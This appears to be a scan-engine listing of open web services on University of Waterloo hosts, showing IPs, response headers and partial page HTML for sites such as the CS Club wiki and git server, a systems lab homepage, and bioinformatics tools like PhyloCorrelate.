HTTP/1.1 301 Moved Permanently Date: Sat, 24 Jan 2026 11:49:48 GMT Server: Apache/2.4.66 (Debian) X-Content-Type-Options: nosniff Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 X-Request-Id: fe1473209105ae7e9d028db7 Strict-Transport-Security: max-age=26784000 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 24 Jan 2026 11:49:48 GMT Location: https://wiki.csclub.uwaterloo.ca/Main_Page Content-Length: 0 Content-Type: text/html; charset=UTF-8
Open service 129.97.134.17:80 · wiki.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 302 Found Date: Sat, 24 Jan 2026 11:50:07 GMT Server: Apache/2.4.66 (Debian) Location: https://wiki.csclub.uwaterloo.ca/ Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://wiki.csclub.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at wiki.csclub.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.134.17:443 · wiki.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 301 Moved Permanently Date: Sat, 24 Jan 2026 11:49:48 GMT Server: Apache/2.4.66 (Debian) X-Content-Type-Options: nosniff Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 X-Request-Id: 48d3f2971e158e5789017f4f Strict-Transport-Security: max-age=26784000 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 24 Jan 2026 11:49:48 GMT Location: https://wiki.csclub.uwaterloo.ca/Main_Page Content-Length: 0 Content-Type: text/html; charset=UTF-8
Open service 2620:101:f000:4901:c5c:0:caff:e12e:80 · wiki.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 302 Found Date: Sat, 24 Jan 2026 11:50:07 GMT Server: Apache/2.4.66 (Debian) Location: https://wiki.csclub.uwaterloo.ca/ Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://wiki.csclub.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at wiki.csclub.uwaterloo.ca Port 80</address> </body></html>
Open service 2620:101:f000:4901:c5c:3eb:0:49:80 · git.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 301 Moved Permanently Date: Sat, 24 Jan 2026 11:49:57 GMT Server: Apache/2.4.66 (Debian) Location: https://git.csclub.uwaterloo.ca/ Content-Length: 369 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://git.csclub.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at git.csclub.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.134.49:80 · git.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 301 Moved Permanently Date: Sat, 24 Jan 2026 11:49:56 GMT Server: Apache/2.4.66 (Debian) Location: https://git.csclub.uwaterloo.ca/ Content-Length: 369 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://git.csclub.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.66 (Debian) Server at git.csclub.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.134.49:443 · git.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 11:49:37 GMT
Server: Apache/2.4.66 (Debian)
Strict-Transport-Security: max-age=26784000
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Set-Cookie: within.website-x-cmd-anubis-auth=; Expires=Sat, 24 Jan 2026 10:49:37 GMT; Max-Age=0; SameSite=Lax
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: Making sure you're not a bot!
<!doctype html><html lang="en"><head><title>Making sure you're not a bot!</title><link rel="stylesheet" href="/.within.website/x/xess/xess.min.css?cachebuster=1.16.0"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="robots" content="noindex,nofollow"><style>
body,
html {
height: 100%;
display: flex;
justify-content: center;
align-items: center;
margin-left: auto;
margin-right: auto;
}
.centered-div {
text-align: center;
}
#status {
font-variant-numeric: tabular-nums;
}
#progress {
display: none;
width: min(20rem, 90%);
height: 2rem;
border-radius: 1rem;
overflow: hidden;
margin: 1rem 0 2rem;
outline-color: #b16286;
outline-offset: 2px;
outline-style: solid;
outline-width: 4px;
}
.bar-inner {
background-color: #b16286;
height: 100%;
width: 0;
transition: width 0.25s ease-in;
}
</style><script id="anubis_version" type="application/json">"1.16.0"
</script></head><body id="top"><main><center><h1 id="title" class=".centered-div">Making sure you're not a bot!</h1></center><div class="centered-div"><img id="image" style="width:100%;max-width:256px;" src="/.within.website/x/cmd/anubis/static/img/pensive.webp?cacheBuster=1.16.0"> <img style="display:none;" style="width:100%;max-width:256px;" src="/.within.website/x/cmd/anubis/static/img/happy.webp?cacheBuster=1.16.0"><p id="status">Loading...</p><script async type="module" src="/.within.website/x/cmd/anubis/static/js/main.mjs?cacheBuster=1.16.0"></script><div id="progress" role="progressbar" aria-labelledby="status"><div class="bar-inner"></div></div><details><summary>Why am I seeing this?</summary><p>You are seeing this because the administrator of this website has set up <a href="https://github.com/TecharoHQ/anubis">Anubis</a> to protect the server against the scourge of <a href="https://thelibre.news/foss-infrastructure-is-under-attack-by-ai-companies/">AI companies aggressively scraping websites</a>. This can and does cause downtime for the websites, which makes their resources inaccessible for everyone.</p><p>Anubis is a compromise. Anubis uses a <a href="https://anubis.techaro.lol/docs/design/why-proof-of-work">Proof-of-Work</a> scheme in the vein of <a href="https://en.wikipedia.org/wiki/Hashcash">Hashcash</a>, a proposed proof-of-work scheme for reducing email spam. The idea is that at individual scales the additional load is ignorable, but at mass scraper levels it adds up and makes scraping much more expensive.</p><p>Ultimately, this is a hack whose real purpose is to give a "good enough" placeholder solution so that more time can be spent on fingerprinting and identifying headless browsers (EG: via how they do font rendering) so that the challenge proof of work page doesn't need to be presented to users that are much more likely to be legitimate.</p><p>Please note that Anubis requires the use of modern JavaScript features that plugins like <a href="https://jshelter.org/">JShelter</a> will disable. Please disable JShelter or other such plugins for this domain.</p></details><noscript><p>Sadly, you must enable JavaScript to get past this challenge. This is required because AI companies have changed the social contract around how website hosting works. A no-JS solution is a work-in-progress.</p></noscript><div id="testarea"></div></div><footer><center><p>Protected by <a href="https://github.com/TecharoHQ/anubis">Anubis</a> from <a href="https://techaro.lol">Techaro</a>. Made with ❤️ in 🇨🇦.</p><p>Mascot design by <a href="https://bsky.app/profile/celphase.bsky.social">CELPHASE</a>.</p></center></footer></main></body></html>
Open service 2620:101:f000:4901:c5c:3eb:0:49:443 · git.csclub.uwaterloo.ca
2026-01-24 11:49
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 11:49:37 GMT
Server: Apache/2.4.66 (Debian)
Strict-Transport-Security: max-age=26784000
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Set-Cookie: within.website-x-cmd-anubis-auth=; Expires=Sat, 24 Jan 2026 10:49:37 GMT; Max-Age=0; SameSite=Lax
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: Making sure you're not a bot!
<!doctype html><html lang="en"><head><title>Making sure you're not a bot!</title><link rel="stylesheet" href="/.within.website/x/xess/xess.min.css?cachebuster=1.16.0"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="robots" content="noindex,nofollow"><style>
body,
html {
height: 100%;
display: flex;
justify-content: center;
align-items: center;
margin-left: auto;
margin-right: auto;
}
.centered-div {
text-align: center;
}
#status {
font-variant-numeric: tabular-nums;
}
#progress {
display: none;
width: min(20rem, 90%);
height: 2rem;
border-radius: 1rem;
overflow: hidden;
margin: 1rem 0 2rem;
outline-color: #b16286;
outline-offset: 2px;
outline-style: solid;
outline-width: 4px;
}
.bar-inner {
background-color: #b16286;
height: 100%;
width: 0;
transition: width 0.25s ease-in;
}
</style><script id="anubis_version" type="application/json">"1.16.0"
</script></head><body id="top"><main><center><h1 id="title" class=".centered-div">Making sure you're not a bot!</h1></center><div class="centered-div"><img id="image" style="width:100%;max-width:256px;" src="/.within.website/x/cmd/anubis/static/img/pensive.webp?cacheBuster=1.16.0"> <img style="display:none;" style="width:100%;max-width:256px;" src="/.within.website/x/cmd/anubis/static/img/happy.webp?cacheBuster=1.16.0"><p id="status">Loading...</p><script async type="module" src="/.within.website/x/cmd/anubis/static/js/main.mjs?cacheBuster=1.16.0"></script><div id="progress" role="progressbar" aria-labelledby="status"><div class="bar-inner"></div></div><details><summary>Why am I seeing this?</summary><p>You are seeing this because the administrator of this website has set up <a href="https://github.com/TecharoHQ/anubis">Anubis</a> to protect the server against the scourge of <a href="https://thelibre.news/foss-infrastructure-is-under-attack-by-ai-companies/">AI companies aggressively scraping websites</a>. This can and does cause downtime for the websites, which makes their resources inaccessible for everyone.</p><p>Anubis is a compromise. Anubis uses a <a href="https://anubis.techaro.lol/docs/design/why-proof-of-work">Proof-of-Work</a> scheme in the vein of <a href="https://en.wikipedia.org/wiki/Hashcash">Hashcash</a>, a proposed proof-of-work scheme for reducing email spam. The idea is that at individual scales the additional load is ignorable, but at mass scraper levels it adds up and makes scraping much more expensive.</p><p>Ultimately, this is a hack whose real purpose is to give a "good enough" placeholder solution so that more time can be spent on fingerprinting and identifying headless browsers (EG: via how they do font rendering) so that the challenge proof of work page doesn't need to be presented to users that are much more likely to be legitimate.</p><p>Please note that Anubis requires the use of modern JavaScript features that plugins like <a href="https://jshelter.org/">JShelter</a> will disable. Please disable JShelter or other such plugins for this domain.</p></details><noscript><p>Sadly, you must enable JavaScript to get past this challenge. This is required because AI companies have changed the social contract around how website hosting works. A no-JS solution is a work-in-progress.</p></noscript><div id="testarea"></div></div><footer><center><p>Protected by <a href="https://github.com/TecharoHQ/anubis">Anubis</a> from <a href="https://techaro.lol">Techaro</a>. Made with ❤️ in 🇨🇦.</p><p>Mascot design by <a href="https://bsky.app/profile/celphase.bsky.social">CELPHASE</a>.</p></center></footer></main></body></html>
Open service 129.97.75.26:443 · cs350.rcs.uwaterloo.ca
2026-01-24 10:01
HTTP/1.1 200 OK
Server: nginx/1.28.0
Date: Sat, 24 Jan 2026 10:01:42 GMT
Content-Type: text/html
Content-Length: 275
Last-Modified: Fri, 12 Sep 2025 21:36:16 GMT
Connection: close
ETag: "68c49250-113"
Strict-Transport-Security: max-age=63072000
Accept-Ranges: bytes
Page title: CS350 Submission Server
<!DOCTYPE html>
<html>
<head>
<title>CS350 Submission Server</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<p>Nothing to see here, move along.
</body>
</html>
Open service 129.97.75.26:80 · cs350.rcs.uwaterloo.ca
2026-01-24 10:01
HTTP/1.1 301 Moved Permanently Server: nginx/1.28.0 Date: Sat, 24 Jan 2026 10:01:42 GMT Content-Type: text/html Content-Length: 169 Connection: close Location: https://cs350.rcs.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.28.0</center> </body> </html>
Open service 129.97.75.8:443 · rcs.uwaterloo.ca
2026-01-24 09:50
HTTP/1.1 200 OK
Content-Type: text/html
ETag: "3453157482"
Last-Modified: Tue, 29 Apr 2025 14:51:27 GMT
Content-Length: 4365
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Accept-Ranges: bytes
Connection: close
Date: Sat, 24 Jan 2026 09:50:56 GMT
Server: lighttpd/1.4.82
Page title: Reliable Computer Systems Lab -
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Reliable Computer Systems">
<meta name="author" content="Ali Mashtizadeh">
<title>Reliable Computer Systems Lab - </title>
<!--<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">-->
<link rel="stylesheet" href="/css/jumbotron.css">
<link rel="stylesheet" href="/css/bootstrap.css">
<link rel="stylesheet" href="/css/_bootswatch.scss">
<link rel="stylesheet" href="/css/_variables.scss">
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-primary">
<div class="container">
<a class="navbar-brand" href="#">RCS</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExampleDefault">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/projects.html">Projects</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/people.html">People</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/publications.html">Publications</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/reading.html">Reading Group</a>
</li>
</ul>
</div>
</div>
</nav>
<main role="main">
<div class="container">
<div class="jumbotron">
<h1 class="display-3">Reliable Computer Systems</h1>
<h2>University of Waterloo Computer Science</h2>
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-8">
<p>We build reliable and easy to manage systems. Our work spans many layers from
architecture to the applications. We’re always on the look out for top
students who want to join our group.</p>
<h1>News</h1>
<ul>
<li>4/29/2025: Presenting HA/TCP at NSDI</li>
<li>2/8/2022: SEEDS was accepted to SysTEX </li>
<li>10/1/2021: Aurora Operating System SOSP
<a href="/pubs/sosp21-aurora.pdf">paper</a> is available</li>
<li>8/20/2021: Aurora Operating System <a href="/aurora/">code and
benchmarks</a> are now available.</li>
<li>8/7/2021: Aurora Operating System HotOS <a href="/aurora/">paper and
webpage</a> is available</li>
<li>8/6/2021: Our work on the Aurora OS has been accepted at SOSP</li>
<li>8/6/2021: <a href="https://www.youtube.com/watch?v=ymVQKWuZQ4I">SKQ USENIX
talk now available</a></li>
<li>6/5/2021: SKQ <a href="/skq/">paper and website</a> is available</li>
<li>6/1/2021: <a href="https://www.youtube.com/watch?v=MQg_1_v38Zk">Aurora
HotOS talk now available</a></li>
<li>4/26/2021: Our work on Scheduleable Kqueues has been accepted into USENIX
ATC</li>
<li>4/12/2021: Our work on the Aurora OS has been accepted at HotOS</li>
</ul>
</div>
</div>
<hr>
</div> <!-- /container -->
</main>
<footer class="container">
<div class="col-md-12">
<p>© University of Waterloo 2018-2021</p>
</div>
<div class="col-md-12">
<div class="col-md-3 float-left">
<a href="https://www.freebsd.org/">
<img src="/freebsd.gif" class="img-fluid">
</a>
</div>
<div class="col-md-3 float-right">
<a href="https://cs.uwaterloo.ca/">
<img src="/uwcs.png" class="img-fluid">
</a>
</div>
</div>
</footer>
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapi
Open service 129.97.75.8:80 · rcs.uwaterloo.ca
2026-01-24 09:50
HTTP/1.1 301 Moved Permanently Location: https://rcs.uwaterloo.ca/ Content-Length: 0 Connection: close Date: Sat, 24 Jan 2026 09:51:24 GMT Server: lighttpd/1.4.82
Open service 129.97.75.8:443 · www.rcs.uwaterloo.ca
2026-01-24 09:50
HTTP/1.1 200 OK
Content-Type: text/html
ETag: "3453157482"
Last-Modified: Tue, 29 Apr 2025 14:51:27 GMT
Content-Length: 4365
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Accept-Ranges: bytes
Connection: close
Date: Sat, 24 Jan 2026 09:50:55 GMT
Server: lighttpd/1.4.82
Page title: Reliable Computer Systems Lab -
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Reliable Computer Systems">
<meta name="author" content="Ali Mashtizadeh">
<title>Reliable Computer Systems Lab - </title>
<!--<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">-->
<link rel="stylesheet" href="/css/jumbotron.css">
<link rel="stylesheet" href="/css/bootstrap.css">
<link rel="stylesheet" href="/css/_bootswatch.scss">
<link rel="stylesheet" href="/css/_variables.scss">
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-primary">
<div class="container">
<a class="navbar-brand" href="#">RCS</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExampleDefault">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/projects.html">Projects</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/people.html">People</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/publications.html">Publications</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/reading.html">Reading Group</a>
</li>
</ul>
</div>
</div>
</nav>
<main role="main">
<div class="container">
<div class="jumbotron">
<h1 class="display-3">Reliable Computer Systems</h1>
<h2>University of Waterloo Computer Science</h2>
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-8">
<p>We build reliable and easy to manage systems. Our work spans many layers from
architecture to the applications. We’re always on the look out for top
students who want to join our group.</p>
<h1>News</h1>
<ul>
<li>4/29/2025: Presenting HA/TCP at NSDI</li>
<li>2/8/2022: SEEDS was accepted to SysTEX </li>
<li>10/1/2021: Aurora Operating System SOSP
<a href="/pubs/sosp21-aurora.pdf">paper</a> is available</li>
<li>8/20/2021: Aurora Operating System <a href="/aurora/">code and
benchmarks</a> are now available.</li>
<li>8/7/2021: Aurora Operating System HotOS <a href="/aurora/">paper and
webpage</a> is available</li>
<li>8/6/2021: Our work on the Aurora OS has been accepted at SOSP</li>
<li>8/6/2021: <a href="https://www.youtube.com/watch?v=ymVQKWuZQ4I">SKQ USENIX
talk now available</a></li>
<li>6/5/2021: SKQ <a href="/skq/">paper and website</a> is available</li>
<li>6/1/2021: <a href="https://www.youtube.com/watch?v=MQg_1_v38Zk">Aurora
HotOS talk now available</a></li>
<li>4/26/2021: Our work on Scheduleable Kqueues has been accepted into USENIX
ATC</li>
<li>4/12/2021: Our work on the Aurora OS has been accepted at HotOS</li>
</ul>
</div>
</div>
<hr>
</div> <!-- /container -->
</main>
<footer class="container">
<div class="col-md-12">
<p>© University of Waterloo 2018-2021</p>
</div>
<div class="col-md-12">
<div class="col-md-3 float-left">
<a href="https://www.freebsd.org/">
<img src="/freebsd.gif" class="img-fluid">
</a>
</div>
<div class="col-md-3 float-right">
<a href="https://cs.uwaterloo.ca/">
<img src="/uwcs.png" class="img-fluid">
</a>
</div>
</div>
</footer>
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapi
Open service 129.97.75.8:80 · www.rcs.uwaterloo.ca
2026-01-24 09:50
HTTP/1.1 301 Moved Permanently Location: https://rcs.uwaterloo.ca/ Content-Length: 0 Connection: close Date: Sat, 24 Jan 2026 09:51:24 GMT Server: lighttpd/1.4.82
Open service 129.97.222.96:80 · ace.uwaterloo.ca
2026-01-24 09:34
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://ace.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 09:34:52 GMT Content-Length: 0
Open service 129.97.222.96:443 · ace.uwaterloo.ca
2026-01-24 09:34
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/atmospheric-chemistry-experiment Server: Caddy Date: Sat, 24 Jan 2026 09:34:22 GMT Content-Length: 0 Connection: close
Open service 35.193.113.52:80 · phylocorrelate.uwaterloo.ca
2026-01-24 03:47
HTTP/1.1 301 Moved Permanently Server: nginx/1.10.3 (Ubuntu) Date: Sat, 24 Jan 2026 03:47:25 GMT Content-Type: text/html Content-Length: 194 Connection: close Location: https://phylocorrelate.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.10.3 (Ubuntu)</center> </body> </html>
Open service 35.193.113.52:443 · pathfams.uwaterloo.ca
2026-01-24 03:47
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 24 Jan 2026 03:47:24 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 13439
Connection: close
X-Powered-By: Shiny Server
x-ua-compatible: IE=edge,chrome=1
Vary: Accept-Encoding
Page title: PathFams
<div>
<img src="logo2.png" height="53" width="50"/>
<a id="HOMEPAGE" href="#" class="action-button" style="color:#000000">PathFams</a>
</div>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script type="application/shiny-singletons"></script>
<script type="application/html-dependencies">json2[2014.02.04];jquery[3.4.1];shiny[1.4.0];shinyBS[0.61];selectize[0.11.2];htmlwidgets[1.5.1];datatables-css[0.0.0];datatables-binding[0.12];crosstalk[1.0.0];bootstrap[3.4.1]</script>
<script src="shared/json2-min.js"></script>
<script src="shared/jquery.min.js"></script>
<link href="shared/shiny.css" rel="stylesheet" />
<script src="shared/shiny.min.js"></script>
<link href="sbs/shinyBS.css" rel="stylesheet" />
<script src="sbs/shinyBS.js"></script>
<link href="shared/selectize/css/selectize.bootstrap3.css" rel="stylesheet" />
<!--[if lt IE 9]>
<script src="shared/selectize/js/es5-shim.min.js"></script>
<![endif]-->
<script src="shared/selectize/js/selectize.min.js"></script>
<script src="htmlwidgets-1.5.1/htmlwidgets.js"></script>
<link href="datatables-css-0.0.0/datatables-crosstalk.css" rel="stylesheet" />
<script src="datatables-binding-0.12/datatables.js"></script>
<link href="crosstalk-1.0.0/css/crosstalk.css" rel="stylesheet" />
<script src="crosstalk-1.0.0/js/crosstalk.min.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link href="shared/bootstrap/css/bootstrap.min.css" rel="stylesheet" />
<script src="shared/bootstrap/js/bootstrap.min.js"></script>
<script src="shared/bootstrap/shim/html5shiv.min.js"></script>
<script src="shared/bootstrap/shim/respond.min.js"></script> <title>PathFams</title>
<link rel="stylesheet" type="text/css" href="shinythemes/css/lumen.min.css"/>
<title>
<div>
<img src="logo2.png" height="53" width="50"/>
<a id="HOMEPAGE" href="#" class="action-button" style="color:#000000">PathFams</a>
</div>
</title>
<style>hr {border-top: 1px solid #D3D3D3;} #NAVBAR_PAGE li a[data-value=SEARCH_TAB], #NAVBAR_PAGE li a[data-value=STATS_TAB], #NAVBAR_PAGE li a[data-value=TABLE_TAB] {display:none}</style>
<script src="__assets__/sockjs-0.3.4.min.js"></script>
<script src="__assets__/shiny-server-client.min.js"></script>
<script>preShinyInit({reconnect:true,disableProtocols:["xhr-streaming"]});</script>
<link rel="stylesheet" type="text/css" href="__assets__/shiny-server.css"/>
</head>
<body>
<div class="container-fluid">
<br/>
<br/>
<br/>
<nav class="navbar navbar-default navbar-fixed-top" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<span class="navbar-brand">
<div>
<img src="logo2.png" height="53" width="50"/>
<a id="HOMEPAGE" href="#" class="action-button" style="color:#000000">PathFams</a>
</div>
</span>
</div>
<ul class="nav navbar-nav shiny-tab-input" id="NAVBAR_PAGE" data-tabsetid="4495">
<li>
<a href="#tab-4495-1" data-toggle="tab"></a>
</li>
<li>
<a href="#tab-4495-2" data-toggle="tab"></a>
</li>
<li class="active">
<a href="#tab-4495-3" data-toggle="tab" data-value="SEARCH_TAB"></a>
</li>
<li>
<a href="#tab-4495-4" data-toggle="tab" data-value="STATS_TAB"></a>
</li>
<li>
<a href="#tab-4495-5" data-toggle="tab" data-value="TABLE_TAB"></a>
</li>
<li>
<a href="#tab-4495-6" data-toggle="tab" data-value="HMMSCAN_TAB"></a>
</li>
<li>
<a href="#tab-4495-7" data-toggle="tab" data-value="<div> <img src="logo2.png" height="53" width="0"/> About </div>">
<div>
<img src="logo2.png" height="53" width="0"/>
About
</div>
</a>
</li>
</ul>
</div>
</nav>
<div class="container-fluid">
<div class="tab-content" data-tabsetid="4495">
<li class="dropdown" id="
Open service 35.193.113.52:80 · pathfams.uwaterloo.ca
2026-01-24 03:47
HTTP/1.1 301 Moved Permanently Server: nginx/1.10.3 (Ubuntu) Date: Sat, 24 Jan 2026 03:47:24 GMT Content-Type: text/html Content-Length: 194 Connection: close Location: https://pathfams.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.10.3 (Ubuntu)</center> </body> </html>
Open service 35.193.113.52:443 · phylocorrelate.uwaterloo.ca
2026-01-24 03:47
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 24 Jan 2026 03:47:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5801
Connection: close
X-Powered-By: Shiny Server
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 24 Apr 2021 14:22:42 GMT
ETag: W/"16a9-1790442e1fb"
Vary: Accept-Encoding
Page title: PhyloCorrelate Homepage
<!DOCTYPE html>
<html lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>PhyloCorrelate Homepage</title>
<style type="text/css">
body, html {
font-family: Helvetica, Arial, sans-serif;
background-color: white;
color: #114;
margin: 0;
padding: 0;
}
a {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
#titleBar {
height: 80px;
background-color: #cccccc;
overflow: hidden;
border-bottom: 5px solid black;
border-left: 5px solid black;
border-right: 5px solid black;
border-top: 5px solid black;
}
#titleBar #container {
margin-top: 14px;
}
#titleBar h1 {
margin: 0 auto .5em auto;
padding: .2em;
color: black;
text-align: center;
}
#outer-content {
max-width: 910px;
margin-left: auto;
margin-right: auto;
}
#content {
margin: 1em auto 1em auto;
float: left;
}
#main{
float: left;
line-height: 24px;
}
#inner {
width:50%;
margin: 0 auto;
margin-right: 190px;
}
.button {
background-color: #4ca64c;
border: 3px solid black;
color: white;
padding: 15px 25px;
text-align: center;
font-size: 16px;
cursor: pointer;
border-radius: 30px;
}
.button:hover {
background-color: grey;
}
.boxed {
border: 1px solid #d3d3d3;
background-color: #FFF;
width: auto;
margin: 0 auto;
padding: 20px;
}
.footer {
position: fixed;
left: 0;
right: 0;
bottom: 0;
width: 100%;
background-color: #FFF;
color: grey;
padding: 20px;
width: 97%;
}
</style>
</head>
<body>
<div id="titleBar">
<div id="container">
<h1>PhyloCorrelate</h1>
</div>
</div>
<div id="outer-content">
<div id="content">
<div id="main">
<h1>Overview</h1>
<p>Phylocorrelate is a tool that detects pairs of gene/protein families with similar phylogenetic distributions across the bacterial tree of life. The database contains pre-computed phylogenomic correlations for 27,372 gene families across 28,315 species. PhyloCorrelate uses the GTDB bacterial tree and gene occurrences from AnnoTree including entries from KEGG, PFAM, and TIGRFAM.</p>
<p>Gene co-occurrence is important to detect as it may suggest an interaction between the genes, membership in the same pathway or complex, or more general functional associations or dependencies.</p>
<br>
<div id="wrapper" style = "text-align: center;">
<p><img src="./logo.png" height="126" width="180"></p>
</div>
<div id="wrapper" style = "text-align: center;">
<a href="./app/"><button class="button" style="width:180px;"><b>Launch</b></button></a>
</div>
<div id="inner">
<p style="width:400px;text-align:justify;">Explore phylogenomic correlations for existing genes/proteins of interest, or submit new genes for co-occurrence analysis.</p>
</div>
<br></br>
<h1>How does it work?</h1>
<p>PhyloCorrelate detects pairs of gene/protein families with similar phylogenetic distributions across the bacterial tree of life. To find genes with similar distributions to a query gene (e.g., cobD below), first we examine the presence/absence distribution of the query gene across the tree. We then examine the distributions of all other genes and calculate their similarity using several metrics, including the Jaccard overlap coefficient (JC) and hypergeometric p-value statistic. The genes with the highest JC scores will be the top candidate correlation partners.</p>
<p>But it isn’t quite so simple. PhyloCorrelate also implements a phylogenetic correction to ensure that co-occurrence patterns are statistically significant given the topology of the tree. This helps to remove apparent correlations that occur only because gene A and B happen to be conserve
Open service 35.193.113.52:80 · diffbase.uwaterloo.ca
2026-01-24 03:47
HTTP/1.1 301 Moved Permanently Server: nginx/1.10.3 (Ubuntu) Date: Sat, 24 Jan 2026 03:47:25 GMT Content-Type: text/html Content-Length: 194 Connection: close Location: https://diffbase.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.10.3 (Ubuntu)</center> </body> </html>
Open service 35.193.113.52:443 · diffbase.uwaterloo.ca
2026-01-24 03:47
HTTP/1.1 200 OK
